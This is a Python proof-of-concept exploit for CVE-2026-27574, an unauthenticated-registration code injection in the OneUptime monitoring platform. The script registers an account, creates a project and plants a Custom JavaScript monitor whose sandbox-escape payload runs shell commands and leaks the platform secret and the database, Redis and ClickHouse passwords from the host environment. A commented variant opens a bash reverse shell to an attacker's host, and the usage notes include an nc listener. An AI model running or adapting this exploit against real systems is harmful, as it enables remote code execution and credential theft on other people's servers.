#!/usr/bin/env python3 # Exploit Title: OneUptime Unauthenticated Code Injection leading to RCE # CVE: CVE-2026-27574 # Date: 2026-02-21 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: # Vendor Homepage: https://oneuptime.com # Software Link: https://github.com/OneUptime/oneuptime # Affected: OneUptime < 10.0.0 # Tested on: OneUptime (development instance) # Category: Remote Code Execution # Platform: Linux # Exploit Type: Remote # CVSS: 9.9 (Critical) # Description: Allows any registered project member to inject and execute arbitrary JavaScript code in the probe context via Custom JavaScript Monitor, leading to full RCE and leakage of sensitive environment variables. # Fixed in: 10.0.0 (switched to isolated-vm) # Usage: # python3 exploit.py --lhost --lport # # Examples: # python3 exploit.py http://localhost:3002 --lhost 192.168.1.100 --lport 4444 # # Options: # --lhost Listener IP for reverse shell (optional for basic leak PoC) # --lport Listener port for reverse shell (optional) # # Notes: # - This PoC currently performs environment variable leakage + basic command execution. # - Reverse shell payload can be added by modifying MALICIOUS_CODE (example included as comment). # - Requires open registration on the target instance. # # How to Use # # Step 1: Start a netcat listener if using reverse shell # nc -lvnp # # Step 2: Run the exploit # python3 exploit.py http://target:3002 --lhost --lport print(""" ╔════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ██████╗ ██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ║ ║ ██╔═══██╗██║ ██║██╔════╝ ██╔══██╗██╔═══██╗██╔══██╗██╔════╝ ║ ║ ██║ ██║██║ ██║█████╗ ██████╔╝██║ ██║██████╔╝█████╗ ║ ║ ██║▄▄ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗██║ ██║██╔══██╗██╔══╝ ║ ║ ╚██████╔╝ ╚████╔╝ ███████╗ ██║ ██║╚██████╔╝██║ ██║███████╗ ║ ║ ╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ║ ║ ║ ║ C V E - 2 0 2 6 - 2 7 5 7 4 ║ ║ Remote Code Execution ║ ║ ║ ║ ┌──────────────────────────────────────────────────────────────────────────────┐ ║ ║ │ Author ............ Mohammed Idrees Banyamer │ ║ ║ │ Country ........... Jordan │ ║ ║ │ Instagram ......... @banyamer_security │ ║ ║ │ Date .............. February 21, 2026 │ ║ ║ └──────────────────────────────────────────────────────────────────────────────┘ ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════╝ """) import requests import json import time import argparse from urllib.parse import urljoin parser = argparse.ArgumentParser() parser.add_argument("target", help="Target URL (e.g. http://localhost:3002)") parser.add_argument("--lhost", help="Your IP for reverse shell (optional)") parser.add_argument("--lport", help="Your port for reverse shell (optional)") args = parser.parse_args() TARGET_URL = args.target.rstrip("/") DELAY_AFTER_CREATE = 90 # MALICIOUS PAYLOAD - Basic leak (default) MALICIOUS_CODE = """ const proc = this.constructor.constructor('return process')(); const run = proc.mainModule.require('child_process').execSync; return { data: { secret: proc.env.ONEUPTIME_SECRET || 'not found', db_pass: proc.env.DATABASE_PASSWORD || 'not found', redis_pass: proc.env.REDIS_PASSWORD || 'not found', clickhouse: proc.env.CLICKHOUSE_PASSWORD || 'not found', id: run('id').toString().trim(), hostname: run('hostname').toString().trim(), whoami: run('whoami').toString().trim(), pwd: run('pwd').toString().trim() } }; """ # Optional: Reverse shell payload example """ MALICIOUS_CODE = ` const proc = this.constructor.constructor('return process')(); const cp = proc.mainModule.require('child_process'); cp.exec("bash -c 'bash -i >& /dev/tcp/${args.lhost}/${args.lport} 0>&1'", (err) => { // silent }); return { data: { status: "shell attempted" } }; `; """ session = requests.Session() session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) PoC/CVE-2026-27574", "Accept": "application/json", }) def api_post(endpoint, json_data=None, **kwargs): url = urljoin(TARGET_URL + "/", endpoint.lstrip("/")) resp = session.post(url, json=json_data, **kwargs) if not resp.ok: print(f"[!] {endpoint} failed: {resp.status_code} - {resp.text[:200]}") exit(1) return resp.json() if resp.text.strip() else {} def api_get(endpoint, params=None): url = urljoin(TARGET_URL + "/", endpoint.lstrip("/")) resp = session.get(url, params=params) resp.raise_for_status() return resp.json() print("[+] Registering new account...") ts = int(time.time()) register_payload = { "name": f"attacker-{ts}", "email": f"exploit+{ts}@example.invalid", "password": "Exploit123!", } register_resp = api_post("api/accounts/register", json=register_payload) print(f" → Registered: {register_payload['email']}") print("[+] Creating new project...") project_payload = {"name": f"Exploit Project {ts}"} project_resp = api_post("api/project", json=project_payload) project_id = project_resp["_id"] print(f" → Project ID: {project_id}") print("[+] Creating malicious Custom JS monitor...") monitor_payload = { "name": "CVE-2026-27574 PoC Monitor", "type": "javascript-monitor", "projectId": project_id, "customCode": MALICIOUS_CODE.strip(), "interval": 60, "enabled": True, } monitor_resp = api_post("api/monitor", json=monitor_payload) monitor_id = monitor_resp["_id"] print(f" → Monitor ID: {monitor_id}") print(f"[+] Waiting {DELAY_AFTER_CREATE} seconds for probe execution...") time.sleep(DELAY_AFTER_CREATE) print("[+] Fetching monitor status...") status = api_get(f"api/monitor/{monitor_id}/status?projectId={project_id}") print(json.dumps(status, indent=2)) print("\n[+] Checking recent monitor logs for leaked data...") logs_resp = api_get(f"api/monitor/{monitor_id}/logs", params={ "projectId": project_id, "limit": 5, "skip": 0 }) found = False for log in logs_resp.get("data", []): if "data" in log and isinstance(log["data"], dict): leaked = log["data"] print("\n" + "═"*70) print(" L E A K E D D A T A F O U N D ") print("═"*70) for k, v in leaked.items(): print(f" {k:14} : {v}") print("═"*70) found = True break if not found: print("[!] No leaked data found in recent logs. Try increasing wait time or check UI manually.") print("\nPoC completed.") if args.lhost and args.lport: print(" → If you used a reverse shell payload, check your listener now.")